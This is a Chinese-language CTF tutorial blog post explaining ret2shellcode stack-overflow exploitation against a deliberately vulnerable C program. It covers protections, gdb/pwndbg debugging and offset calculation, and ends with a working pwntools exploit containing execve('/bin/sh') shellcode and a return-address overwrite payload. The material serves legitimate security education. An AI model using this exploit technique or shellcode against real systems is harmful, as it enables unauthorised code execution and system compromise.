sysNow's blog

栈溢出篇2——ret2shellcode

2025-02-02
CTF
PWN教程
最后更新:2025-04-19
10分钟
1912字

阅读此文前, 请先学习shellcode编写相关内容, 具体可看基础篇1——编写shellcode

在先前的ret2text的学习中, gdb并没有被很好得运用起来, 但是在pwn中, gdb动态调试的重要性要远大于IDA静态分析, 从这里开始我们也要逐步发挥gdb的作用, 这里需要gdb安装pwndbg插件

ret2shellcode

在早期的glibc中, bss段默认是可执行段, 我们可以将shellcode写在bss段中并用栈溢出等方式控制程序返回地址为shellcode的地址, 以达到执行shellcode的目的. 但是, 在目前常用的几个glibc版本中, bss段已经被设置为了不可执行段, 因此这种形式执行shellcode已经淘汰.

在目前常用的glibc中, 存在NX保护, 具体可看gcc安全编译选项详解(NX(DEP)、RELRO、PIE(ASLR)、CANARY、FORTIFY) 当NX保护禁用时, 堆栈上为可执行状态, 因此我们可以将shellcode写在栈上, 控制返回地址使其指向栈上的shellcode

例题:

1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <unistd.h>
4
#include <string.h>
5
6
void init() {
7
setvbuf(stdout, NULL, _IONBF, 0);
8
setvbuf(stdin, NULL, _IONBF, 0);
9
setvbuf(stderr, NULL, _IONBF, 0);
10
}
11
12
void vuln() {
13
char buf[100];
14
printf("Give me your input: ");
15
printf("Give you a gift, buf's address is %p \n",buf);
9 collapsed lines
16
gets(buf); // 存在栈溢出漏洞
17
}
18
19
int main() {
20
init();
21
vuln();
22
return 0;
23
}
24
// gcc ret2shellcode.c -o ret2shellcode -z execstack -fno-stack-protector

在这里略作补充

我们使用gcc ret2shellcode.c -o ret2shellcode -z execstack -fno-stack-protector来编译程序, checksec可执行文件可以看到禁用了哪些保护

default

可以看到canary保护关闭, stack可执行, 因此我们可以考虑执行ret2shellcode 我们若使用gcc ret2shellcode.c -o ret2shellcode2不关闭任何保护, 所得到的checksec结果是这样的

default

在gdb中我们可以使用vmmap指令查看虚拟内存中权限的分布情况

default

从gdb角度来看, 禁用了NX保护的可执行文件在栈上的权限是rwx, 即可读可写执行

default

没有禁用NX保护的可执行文件在栈上的权限是rw, 即可读可写不可执行

default

checksec所检测的几个保护在pwn中尤为重要, 每个保护的启用与禁用都可以通过gcc来设定, 每个保护的含义也要熟知. 在真实的赛题中, 可以通过保护来初步确定程序弱点以此确定攻击方向 具体保护内容也可查看gcc安全编译选项详解(NX(DEP)、RELRO、PIE(ASLR)、CANARY、FORTIFY)

至于我会不会写保护方向的文章, 其实我更偏向在实践中学习保护, 可能到时候会在buu上收集几道经典的题目, 一边讲题一边讲保护

在pwn中, 我们所看到的所有的地址几乎都是随机地址. 当开启PIE时, 程序的基地址、libc基地址、栈地址、堆地址都是随机的 若没有开启PIE, 程序的基地址是固定的, 但是libc基地址、栈地址、堆地址还是随机的

default

同一个文件用gdb调试时可以发现, 每次调试时无论是程序基地址还是libc基地址还是其它的地址都是固定的, 这是gdb为了方便我们调试所设定的, 但是当我们直接执行或者说用pwntools先执行程序后接入gdb时, 就可以发现与我上段所述一致

但是, 在虚拟内存中, 偏移量是一定的. 例如程序中的main函数距离程序基地址的距离为0x1000, vuln距离程序基地址的距离为0x2000, 那么当程序基地址为0x40000时, main地址为0x41000, vuln地址为0x42000; 程序基地址为0x50000时, main地址为0x51000, vuln地址为0x52000. 同时main与vuln的偏移恒定为0x1000, 也就是说只要知道main或者vuln其中一个真实地址, 我们就可以计算出另一个函数的真实地址. 这一点在pwn中尤为重要!!! 之后的ret2libc就基于这一原理.

在后期的真实赛题中, 若涉及到栈地址 libc地址和堆地址就一定需要泄露, 即泄露一个地址, 通过与已泄露的地址的偏移来计算其他地址, 进而利用.

在原理讲解中, 我直接输出一个栈地址, 这样就省去了讲解泄露的时间. 在之后讲解例题时会同步讲解泄露的相关步骤.

咳咳咳, 我们回归正题

目前我们已经确定了程序会输出一个栈地址, 我们需要通过这个栈地址进行计算得出shellcode的地址, 一方面挟持返回地址, 另一方面将shellcode设置在栈上

我们采取pwntools+gdb+pwndbg调试的方式来调试程序, 我们先在脚本中写以下内容:

1
from pwn import *
2
3
context(os="linux",arch="amd64",log_level="debug")
4
5
io = gdb.debug("./ret2shellcode","b main")
6
7
io.interactive()

这样gdb就会停止在main函数开头, 或者用gdb.attach(), pwntools的用法请自行查看文档

在终端中运行python程序, 之后我们可以进入调试页面

default

右侧为gdb页面, 左侧为python交互, 当程序遇到输入时, 我们手动在左侧给出内容 我们右侧输入ni后会回车, 之后每一次回车就会默认执行ni, 当遇到vuln函数时, 因为我们需要进入vuln函数调试, 因此我们输入si步入

当遇到输入时, 我们可以先按ni, 当左边窗口不给出内容时, 右边gdb会一直停在等待输入的状态, 我们输入”AAAA”来测试程序,可以发现”AAAA”存储在了0x7ffc2e05a5f0中, 在gdb中我们可以用tele指令或者x指令来查看内存中的值, x指令具体用法请自行google

default

同时我们也可以看到, 字符串存储的位置就是左边程序输出的buf地址

我们不断ni, 一直到rip指向ret语句, 此时rsp指向的位置就是我们需要挟持的返回地址. 因为ret可以等效为”弹出栈顶地址, 并返回到此地址”, 如果还是不清楚可以查看ret2text中的栈模型

我们可以看到, 存储程序返回地址的地址为0x7ffc2e05a668, 接下来我们就可以计算从输入的首地址一直覆盖到返回地址前的偏移为0x78字节. 其实这一步在IDA中也可以完成 计算两个地址的差可以使用微软自带的计算器完成, 也可以在gdb中使用distance指令

计算器

default

同时我计划将shellcode就布置在ret地址的下方, 即0x7ffc2e05a670为首字节位置, 那么我们需要返回的地址为0x7ffc2e05a670, 与buf的偏移为0x80字节

因此我们就可以得出payload = b"A"*0x78+p64(buf+0x80)+shell, 用程序接收buf地址, 合成payload并自动发送后, 我们可以在gdb中看到shellcode内容可以被正式执行

default

io = gdb.debug("./ret2shellcode","b main")替换为io = process("./ret2shellcode"), 如果shellcode正确, 则会拿到shell权限

exp如下

1
from pwn import *
2
3
context(os="linux",arch="amd64",log_level="debug")
4
5
# io = gdb.debug("./ret2shellcode","b main")
6
io = process("./ret2shellcode")
7
8
io.recvuntil(b"buf's address is ")
9
buf = int(io.recv(14),16)
10
shell = asm('''
11
mov rax,59
12
mov rdi,0x68732f6e69622f
13
push rdi
14
mov rdi,rsp
15
xor rsi,rsi
7 collapsed lines
16
xor rdx,rdx
17
syscall
18
''')
19
payload = b"A"*0x78+p64(buf+0x80)+shell
20
io.sendline(payload)
21
22
io.interactive()

本地打通截图

default

远程攻击时, 则将io = process("./ret2shellcode")写作io = remote(IP,PORT)

在这道题中, buf的区域够大, 因此我们可以将shellcode直接写在buf内, 上述的shellcode大小为0x1d, 因此payload = shell+b"A"*(0x78-0x1d)+p64(buf)如果懒得这么写的话, 也可以写为payload = shell.ljust(0x78,b"A")+p64(buf)

本文标题:栈溢出篇2——ret2shellcode
文章作者:sysNow
发布时间:2025-02-02